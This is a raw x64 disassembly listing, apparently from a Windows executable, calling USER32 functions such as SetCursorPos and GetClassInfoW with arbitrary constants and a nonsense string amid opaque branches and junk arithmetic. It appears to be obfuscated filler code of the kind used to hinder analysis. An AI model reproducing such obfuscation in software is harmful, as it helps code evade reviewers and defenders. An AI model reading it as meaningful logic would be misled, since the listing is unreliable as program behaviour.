mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x348c]
or eax, 0x5482e9bc
mov dword [rsp + 0x348c], eax
mov edx, 0xb6
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetCursorPos]
mov dword [rsp + 0x34e0], eax
movzx ecx, word [rsp + 0xd88]
call fcn.14012e470
nop
jmp 0x14012c899
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x158]
xor eax, ecx
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
sub eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0xe10]
mov dword [rsp + 0x588c], eax
cmp dword [rsp + 0x588c], 0x6e94
je 0x14012c8cf
jmp 0x14012c94a
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov r8d, 0xa0
mov edx, 0xc3
mov rcx, qword [rsp + 0x1a440]
call qword [sym.imp.USER32.dll_EnableMenuItem]
mov dword [rsp + 0x345c], eax
jmp 0x14012c95a
mov edx, 0x4f
mov ecx, 0xab
call fcn.14012d3c0
nop
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sub eax, 0x73be
mov word [rsp + 0xe10], ax
jmp 0x14012c9da
mov eax, dword [rsp + 0x3468]
mov dword [rsp + 0x5890], eax
cmp dword [rsp + 0x5890], 0x253d5932
je 0x14012c991
jmp 0x14012c9bd
movzx eax, byte [section..data]
and eax, 0x63
mov byte [section..data], al
mov r8d, dword [rsp + 0x3468]
movzx edx, byte [rsp + 0x158]
mov cx, 0x50
call fcn.14012dd80
nop
jmp 0x14012c9da
lea rdx, [rsp + 0x1a4a0]
mov rcx, qword [rsp + 0x63d0]
call qword [sym.imp.USER32.dll_GetIconInfo]
mov dword [rsp + 0x3584], eax
lea r8, [rsp + 0x1a5e0]
lea rdx, str.wearying_dishevelled_Encoder_effect_nestles
mov rcx, qword [rsp + 0x6518]
call qword [sym.imp.USER32.dll_GetClassInfoW]
mov dword [rsp + 0x34e0], eax
movsx eax, byte [rsp + 0x159]
shl eax, 5
mov byte [rsp + 0x158], al
movzx edx, word [rsp + 0xd88]
mov ecx, 0x79
call fcn.14012d9e0
mov eax, dword [rsp + 0x42dc]
add rsp, 0x1b548
ret